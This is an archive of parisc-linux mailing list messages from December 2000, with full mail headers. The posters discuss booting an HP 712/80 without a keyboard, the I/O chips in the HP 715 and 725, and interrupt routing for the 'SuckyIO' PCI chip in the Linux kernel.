Original-Received: from pop.gmx.net (HELO mail.gmx.net) (194.221.183.20)
  by mailserv2.iuinc.com with SMTP; 23 Dec 2000 19:06:07 -0000
Original-Received: (qmail 32608 invoked by uid 0); 23 Dec 2000 19:06:05 -0000
Original-Received: from pd9037432.dip.t-dialin.net (HELO gmx.net) (217.3.116.50)
  by mail.gmx.net (mail01) with SMTP; 23 Dec 2000 19:06:05 -0000
X-Mailer: Mozilla 4.75 [en] (Win98; U)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9003

Hello again!
Does anyone know if there is a possibility to start a hp 712/80 
without a keyboard plugged in? I cannot find an option in the
bootrom. It always says: 
	"Failed to initialize a keyboard, SYSTEM HALTED" 

If someone has a solution. That would be great...

Regards Jens


From - Thu Nov 08 21:14:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Some questions about the 715/50
Date: Sat, 23 Dec 2000 19:47:02 +0000
Lines: 19
Approved: news@gmane.org
Message-ID: <20001223194702.A824@parcelfarce.linux.theplanet.co.uk>
References: <3A44E560.BE825C97@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619468 9336 80.91.229.3 (22 Nov 2014 01:24:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:28 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alex deVries <adevries@linuxcare.com>
Original-X-From: willy@www.linux.org.uk  Sat Dec 23 12:44:03 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA07193
	for <parisc-linux@puffin.external.hp.com>; Sat, 23 Dec 2000 12:44:03 -0700
Original-Received: (qmail 2818 invoked by uid 15267); 23 Dec 2000 19:47:07 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2795 invoked from network); 23 Dec 2000 19:47:07 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 23 Dec 2000 19:47:07 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 149udC-0000TS-00; Sat, 23 Dec 2000 19:47:02 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <3A44E560.BE825C97@linuxcare.com>; from adevries@linuxcare.com on Sat, Dec 23, 2000 at 12:48:16PM -0500
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:9004

On Sat, Dec 23, 2000 at 12:48:16PM -0500, Alex deVries wrote:
> Scorpio's a 715/old, and has two IO chips in it: WAX and Lasi. Scorpio
> Jr. (715/33) and Scorpio Sr. (715/75) are identical.

uh, no, it has Wax and Asp.  Lasi was a later chip.  It's very similar to
Lasi though.

> My questions:
> 
> a. The docs say that WAX's HIL on a GSC (not GSC+) is at 0xf0201000, but
> the HIL reported above is clearly in the ASP range.  Is there actually a
> HIL controller on ASP? More importantly, how are the interrupts routed?

The HIL controller is definitely on Asp.  The interrupt `just worked'
when i first stole phil blundell's hil driver he'd written for the hp300.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:14:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] starting 712/80 without keyboard?
Date: Sat, 23 Dec 2000 21:27:48 +0000
Lines: 17
Approved: news@gmane.org
Message-ID: <20001223212748.A7769@parcelfarce.linux.theplanet.co.uk>
References: <3A44F763.2CB637F9@gmx.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619468 9337 80.91.229.3 (22 Nov 2014 01:24:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:28 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Jens Trzaska <j_trzaska@gmx.net>
Original-X-From: willy@www.linux.org.uk  Sat Dec 23 14:24:46 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA07852
	for <parisc-linux@puffin.external.hp.com>; Sat, 23 Dec 2000 14:24:45 -0700
Original-Received: (qmail 2464 invoked by uid 15267); 23 Dec 2000 21:27:50 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2449 invoked from network); 23 Dec 2000 21:27:50 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 23 Dec 2000 21:27:50 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 149wCi-00022J-00; Sat, 23 Dec 2000 21:27:48 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <3A44F763.2CB637F9@gmx.net>; from j_trzaska@gmx.net on Sat, Dec 23, 2000 at 08:05:07PM +0100
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:9005

On Sat, Dec 23, 2000 at 08:05:07PM +0100, Jens Trzaska wrote:
> Hello again!
> Does anyone know if there is a possibility to start a hp 712/80 
> without a keyboard plugged in? I cannot find an option in the
> bootrom. It always says: 
> 	"Failed to initialize a keyboard, SYSTEM HALTED" 

another thing which should be in the faq, but isn't.

serial console on the 712 is officially Not Supported.

however, you can do it, if you know what to type.  full details are in
the mailing list archives somewhere.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:14:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jens Trzaska <j_trzaska@gmx.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] starting 712/80 without keyboard?
Date: Sat, 23 Dec 2000 22:56:44 +0100
Lines: 25
Approved: news@gmane.org
Message-ID: <3A451F9C.DE151BA4@gmx.net>
References: <3A44F763.2CB637F9@gmx.net> <20001223212748.A7769@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619468 9339 80.91.229.3 (22 Nov 2014 01:24:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:28 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: j_trzaska@gmx.net  Sat Dec 23 14:54:54 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA08283
	for <parisc-linux@puffin.external.hp.com>; Sat, 23 Dec 2000 14:54:54 -0700
Original-Received: (qmail 20225 invoked by uid 15267); 23 Dec 2000 21:57:59 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20213 invoked from network); 23 Dec 2000 21:57:58 -0000
Original-Received: from pop.gmx.net (HELO mail.gmx.net) (194.221.183.20)
  by mailserv2.iuinc.com with SMTP; 23 Dec 2000 21:57:58 -0000
Original-Received: (qmail 9407 invoked by uid 0); 23 Dec 2000 21:57:35 -0000
Original-Received: from pd9037432.dip.t-dialin.net (HELO gmx.net) (217.3.116.50)
  by mail.gmx.net (mail07) with SMTP; 23 Dec 2000 21:57:35 -0000
X-Mailer: Mozilla 4.75 [en] (Win98; U)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9006

Matthew Wilcox wrote:
> 
> On Sat, Dec 23, 2000 at 08:05:07PM +0100, Jens Trzaska wrote:
> > Hello again!
> > Does anyone know if there is a possibility to start a hp 712/80
> > without a keyboard plugged in? I cannot find an option in the
> > bootrom. It always says:
> >       "Failed to initialize a keyboard, SYSTEM HALTED"
> 
> another thing which should be in the faq, but isn't.
> 
> serial console on the 712 is officially Not Supported.
> 
> however, you can do it, if you know what to type.  full details are in
> the mailing list archives somewhere.

That's not what i'm searching for. I do not need the serial console
nor the keyboard. I prefer using ssh. The problem is that i can't 
reboot the system from remote when there is no keyboard. I'm
searching for something like a normal award bios has...
'halt on no errors' or something like that. But it it looks as if
there is no option in the boot rom.

regards Jens


From - Thu Nov 08 21:14:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Some questions about the 715/50
Date: Sat, 23 Dec 2000 17:27:47 -0500
Organization: The Puffins at Linuxcare
Lines: 43
Approved: news@gmane.org
Message-ID: <3A4526E3.814E8746@linuxcare.com>
References: <3A44E560.BE825C97@linuxcare.com> <20001223194702.A824@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619469 9345 80.91.229.3 (22 Nov 2014 01:24:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:29 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: adevries@linuxcare.com  Sat Dec 23 15:21:36 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA08908
	for <parisc-linux@puffin.external.hp.com>; Sat, 23 Dec 2000 15:21:35 -0700
Original-Received: (qmail 3239 invoked by uid 15267); 23 Dec 2000 22:24:40 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3226 invoked from network); 23 Dec 2000 22:24:40 -0000
Original-Received: from unknown (HELO smtp.linuxcare.com) (216.88.157.131)
  by mailserv2.iuinc.com with SMTP; 23 Dec 2000 22:24:40 -0000
Original-Received: (qmail 13963 invoked from network); 23 Dec 2000 22:24:40 -0000
Original-Received: from hse-ottawa-ppp156830.sympatico.ca (HELO linuxcare.com) (adevries@64.229.128.9)
  by smtp.linuxcare.com with SMTP; 23 Dec 2000 22:24:40 -0000
Original-Sender: adevries@mailserv2.iuinc.com
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.13 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9007

Matthew Wilcox wrote:
> 
> On Sat, Dec 23, 2000 at 12:48:16PM -0500, Alex deVries wrote:
> > Scorpio's a 715/old, and has two IO chips in it: WAX and Lasi. Scorpio
> > Jr. (715/33) and Scorpio Sr. (715/75) are identical.
> 
> uh, no, it has Wax and Asp.  Lasi was a later chip.  It's very similar to
> Lasi though.

I actually meant to type ASP, but the letters L-A-S-I came out of my
fingers.


> > My questions:
> > a. The docs say that WAX's HIL on a GSC (not GSC+) is at 0xf0201000, but
> > the HIL reported above is clearly in the ASP range.  Is there actually a
> > HIL controller on ASP? More importantly, how are the interrupts routed?
> The HIL controller is definitely on Asp.  The interrupt `just worked'
> when i first stole phil blundell's hil driver he'd written for the hp300.

So that's interesting... the LASI ERS says nothing about there being a
HIL controller, so the HIL controller must have been dropped in the
ASP->Lasi transition.

So here's the keyboard and serial situation on older machines:

Model               IO Chips      Keyboard       Serial
==========================================================
712     Gecko       Lasi          PS/2 on Lasi   1 on Lasi
715/old Scorpio     ASP, Wax      HIL on ASP     2 on ASP
725     Spectra     ASP, Wax      HIL on ASP     2 on ASP
715/new Mirage      Lasi, Wax     HIL on Wax     1 on Lasi, 1 on Wax

I'm not sure how much Wax stuff is actually running for HIL or Serial.

- Alex

-- 
Alex deVries, Principal Solutions Architect, The Puffins at Linuxcare
613.562.2759 tel
alex@linuxcare.com, http://www.linuxcare.com/
Linuxcare, Support for the revolution.


From - Thu Nov 08 21:14:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] starting 712/80 without keyboard?
Date: Sat, 23 Dec 2000 16:57:20 -0800
Lines: 21
Approved: news@gmane.org
Message-ID: <200012240057.QAA20785@milano.cup.hp.com>
References: <3A451F9C.DE151BA4@gmx.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619469 9349 80.91.229.3 (22 Nov 2014 01:24:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:29 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Jens Trzaska <j_trzaska@gmx.net>
Original-X-From: grundler@cup.hp.com  Sat Dec 23 17:53:11 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA10017
	for <parisc-linux@puffin.external.hp.com>; Sat, 23 Dec 2000 17:53:10 -0700
Original-Received: (qmail 28585 invoked by uid 15267); 24 Dec 2000 00:56:15 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 28577 invoked from network); 24 Dec 2000 00:56:15 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 24 Dec 2000 00:56:15 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP
	id 29BF5B89; Sat, 23 Dec 2000 16:56:14 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id QAA20785;
	Sat, 23 Dec 2000 16:57:22 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Sat, 23 Dec 2000 22:56:44 PST."
             <3A451F9C.DE151BA4@gmx.net> 
Xref: news.gmane.org gmane.linux.ports.parisc:9008

Jens Trzaska wrote:
> > serial console on the 712 is officially Not Supported.
> > 
> > however, you can do it, if you know what to type.  full details are in
> > the mailing list archives somewhere.
> 
> That's not what i'm searching for. I do not need the serial console
> nor the keyboard.

What willy was trying to say was the system will boot w/o keyboard
if you change the PDC/BOOT_ADMIN console path to serial port.
Mail search tool is at puffin.external.hp.com/cgi-bin/mailgrep.
Try looking for "conspath" or "ISL" if "serial console" gets too
many hits.

grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:14:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SuckyIO support
Date: Sun, 24 Dec 2000 09:05:04 +0000
Lines: 39
Approved: news@gmane.org
Message-ID: <20001224090504.A11676@parcelfarce.linux.theplanet.co.uk>
References: <20001220155045.A19376@parcelfarce.linux.theplanet.co.uk> <200012201824.KAA17332@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619469 9356 80.91.229.3 (22 Nov 2014 01:24:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:29 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>, parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: willy@www.linux.org.uk  Sun Dec 24 02:41:35 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id CAA13401
	for <parisc-linux@puffin.external.hp.com>; Sun, 24 Dec 2000 02:41:34 -0700
Original-Received: (qmail 28989 invoked by uid 15267); 24 Dec 2000 09:44:40 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 28982 invoked from network); 24 Dec 2000 09:44:40 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 24 Dec 2000 09:44:40 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14A75U-0003Or-00; Sun, 24 Dec 2000 09:05:04 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <200012201824.KAA17332@milano.cup.hp.com>; from grundler@cup.hp.com on Wed, Dec 20, 2000 at 10:24:36AM -0800
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:9009

On Wed, Dec 20, 2000 at 10:24:36AM -0800, Grant Grundler wrote:
> Matthew Wilcox wrote:
> > That's OK, at least for the code I wrote, the quirk code is called in the
> > right place (ie before the iosapic code gets its hands on it) that if it can
> > find the right value and poke it back into dev->irq, the iosapic virtualising
> > code will deal with it correctly.
> 
> It won't. I just checked. :^(
> 
> lba_fixup_bus() invokes iosapic_fixup_irq() for each PCI device.
> iosapic_fixup_irq() invokes iosapic_xlate_pin() to locate both the
> INTERRUPT_LINE and parent IOSAPIC. xlate_pin reads the INTERRUPT_PIN
> and *ignores* the INTERRUPT_LINE. This behavior has to remain in order
> to support PAT PDC platforms (which do not initialize the PCI device).

To my mind, we're doing this backwards.  What the current code tries to do
is recover from a situation where the generic PCI code has been run over
a bus which hasn't been configured by the POST -- and in the process we
lose any work done by the quirk code.  What I _think_ we should be doing
instead is doing our own run over the PCI bus first before the generic
code gets a look at it, and sorting out the interrupt routing there.
Then we can write the appropriate values into INTERRUPT_LINE, which the
generic PCI bus scan code will pick up and the quirk code will propogate
it into the other functions.

> I doubt we can use pci_quirks to fixup the dev->irq.
> I've proposed to Alex to use a "bus devices" scheme (a' la LASI).
> So some "central" code will manage IRQ routing for devices below suckyio.
> I.e. suckyio will have it's own IRQ region and collectively manage
> all three PCI functions as "one device".

We can do that.  But we don't _need_ to, all these devices are capable of
sharing one IRQ without further interrupt decoding being done.  I'm not
sure we want to do it -- extra latency and more code versus more interrupt
handers being called.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:14:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SuckyIO support
Date: Mon, 25 Dec 2000 23:16:24 -0800
Lines: 48
Approved: news@gmane.org
Message-ID: <200012260716.XAA21626@milano.cup.hp.com>
References: <20001224090504.A11676@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619470 9367 80.91.229.3 (22 Nov 2014 01:24:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:30 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: grundler@cup.hp.com  Tue Dec 26 00:12:13 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id AAA29470
	for <parisc-linux@puffin.external.hp.com>; Tue, 26 Dec 2000 00:12:12 -0700
Original-Received: (qmail 3241 invoked by uid 15267); 26 Dec 2000 07:15:19 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3192 invoked from network); 26 Dec 2000 07:15:15 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 26 Dec 2000 07:15:15 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id 5AA34E338; Mon, 25 Dec 2000 23:15:14 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id XAA21626;
	Mon, 25 Dec 2000 23:16:27 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Sun, 24 Dec 2000 09:05:04 PST."
             <20001224090504.A11676@parcelfarce.linux.theplanet.co.uk> 
Xref: news.gmane.org gmane.linux.ports.parisc:9010

Matthew Wilcox wrote:
> On Wed, Dec 20, 2000 at 10:24:36AM -0800, Grant Grundler wrote:
...
> > xlate_pin reads the INTERRUPT_PIN and *ignores* the INTERRUPT_LINE.
...
> To my mind, we're doing this backwards.  What the current code tries to do
> is recover from a situation where the generic PCI code has been run over
> a bus which hasn't been configured by the POST -- and in the process we
> lose any work done by the quirk code.

INTERRUPT_PIN is zero for function 0 and 1. And according to PCI spec,
suckyio function 0 and 1 can't won't generate interrupts regardless
of what's in INTERRUPT_LINE.
I don't want to write/modify/support code that implies otherwise.

> What I _think_ we should be doing
> instead is doing our own run over the PCI bus first before the generic
> code gets a look at it, and sorting out the interrupt routing there.

We'll end duplicating much of what's in the generic PCI code basically.
You can understand why I might be less than enthusiastic about this idea.

> Then we can write the appropriate values into INTERRUPT_LINE, which the
> generic PCI bus scan code will pick up and the quirk code will propogate
> it into the other functions.

For function 2, the proper value (0) *is* already in INTERRUPT_LINE.
And because of the INTERRUPT_PIN behavior, I'd like to discourage
propagating config values from function 2 into other suckyio functions.

> > So some "central" code will manage IRQ routing for devices below suckyio.
...
> We can do that.  But we don't _need_ to, all these devices are capable of
> sharing one IRQ without further interrupt decoding being done.

Yeah - you might be right : Sub-devices will share one IRQ line.
Using an IRQ region only makes sense if we can read some register and
uniquely determine which device(s) generated the interrupt(s). But this
is more an implementation detail than design corner stone.

Regardless, I'd still like to see a central code determine which IRQ line
is used and advertise devices so other drivers can claim them. ie this
suckyio code would propogate the virtualized func2 dev->irq to sub-devices
and manage all three suckyio functions as one device like LASI.

thanks,
grant


From - Thu Nov 08 21:14:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SuckyIO support
Date: Tue, 26 Dec 2000 10:53:50 +0000
Lines: 33
Approved: news@gmane.org
Message-ID: <20001226105350.A29860@parcelfarce.linux.theplanet.co.uk>
References: <20001224090504.A11676@parcelfarce.linux.theplanet.co.uk> <200012260716.XAA21626@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619470 9374 80.91.229.3 (22 Nov 2014 01:24:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:30 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>, parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: willy@www.linux.org.uk  Tue Dec 26 04:35:51 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id EAA00451
	for <parisc-linux@puffin.external.hp.com>; Tue, 26 Dec 2000 04:34:50 -0700
Original-Received: (qmail 22768 invoked by uid 15267); 26 Dec 2000 11:37:58 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22761 invoked from network); 26 Dec 2000 11:37:58 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 26 Dec 2000 11:37:58 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14Arjq-0008Md-00; Tue, 26 Dec 2000 10:53:50 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <200012260716.XAA21626@milano.cup.hp.com>; from grundler@cup.hp.com on Mon, Dec 25, 2000 at 11:16:24PM -0800
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:9011

On Mon, Dec 25, 2000 at 11:16:24PM -0800, Grant Grundler wrote:
> INTERRUPT_PIN is zero for function 0 and 1. And according to PCI spec,
> suckyio function 0 and 1 can't won't generate interrupts regardless
> of what's in INTERRUPT_LINE.
> I don't want to write/modify/support code that implies otherwise.

I thought it was understood that this device was not PCI-conforming?
That it did generate interrupts for functions 0 and 1.  Could we nail
down exactly _how_ this device generates interrupts for the serial & ide
ports?  I can see a few possibilities:

(1) They are only generated on the CPUINT pin.
(2) They're generated on INTD# just like USB is
(3) They're routable to other PCI pins within the device (i doubt it,
    i can't see any hint of this in the spec).
(4) The interrupts are generated but they're not routed to anywhere the
    cpu will ever get notified about, so we have to use a polling driver.
    This would seriously suck.

if it's (1), what is CPUINT tied to?  does it have its own connection to
the IOSAPIC?  Is it connected to the PCI bus somehow?

> We'll end duplicating much of what's in the generic PCI code basically.
> You can understand why I might be less than enthusiastic about this idea.

Yes.  OK, better idea: we can do the quirk fixup in the PCI_FIXUP_FINAL
pass instead of the PCI_FIXUP_HEADER pass.  This is called after the bus
fixup code has set ->irq.  Of course, this might be completely the wrong
thing to do... I really need to know the answer to the above question.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:14:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SuckyIO support
Date: Tue, 26 Dec 2000 12:18:08 -0800
Lines: 102
Approved: news@gmane.org
Message-ID: <200012262018.MAA22169@milano.cup.hp.com>
References: <20001226105350.A29860@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619470 9379 80.91.229.3 (22 Nov 2014 01:24:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:30 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: grundler@cup.hp.com  Tue Dec 26 13:13:49 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA03762
	for <parisc-linux@puffin.external.hp.com>; Tue, 26 Dec 2000 13:13:49 -0700
Original-Received: (qmail 11268 invoked by uid 15267); 26 Dec 2000 20:16:58 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11257 invoked from network); 26 Dec 2000 20:16:58 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 26 Dec 2000 20:16:58 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id 5449C2DB; Tue, 26 Dec 2000 12:16:57 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id MAA22169;
	Tue, 26 Dec 2000 12:18:11 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Tue, 26 Dec 2000 10:53:50 PST."
             <20001226105350.A29860@parcelfarce.linux.theplanet.co.uk> 
Xref: news.gmane.org gmane.linux.ports.parisc:9012

Matthew Wilcox wrote:
> On Mon, Dec 25, 2000 at 11:16:24PM -0800, Grant Grundler wrote:
> > INTERRUPT_PIN is zero for function 0 and 1. And according to PCI spec,
> > suckyio function 0 and 1 can't won't generate interrupts regardless
> > of what's in INTERRUPT_LINE.
> > I don't want to write/modify/support code that implies otherwise.
> 
> I thought it was understood that this device was not PCI-conforming?

Absolutely correct.

> That it did generate interrupts for functions 0 and 1.

Not directly. AFAICT, subdevices can only generate interrupts via 8259
which lives on function 1. And it looks like *none* of the functions
under suckyio implement INTERRUPT_PIN register. *sigh*

The INTERRUPT_LINE cfg register just happens to live under function 2
but could live in any of the three functions. Suckyio provides this
register merely as a convience to the BIOS/OS programmers.

> Could we nail
> down exactly _how_ this device generates interrupts for the serial & ide
> ports?
...

IRQs for all devices we care about are routed through the on-chip 8259's.
Master 8259 output is routed to INTERRUPT_LINE 0 of the parent IOSAPIC.
I can't tell if that's through CPUINT or INT[A-D] or what.

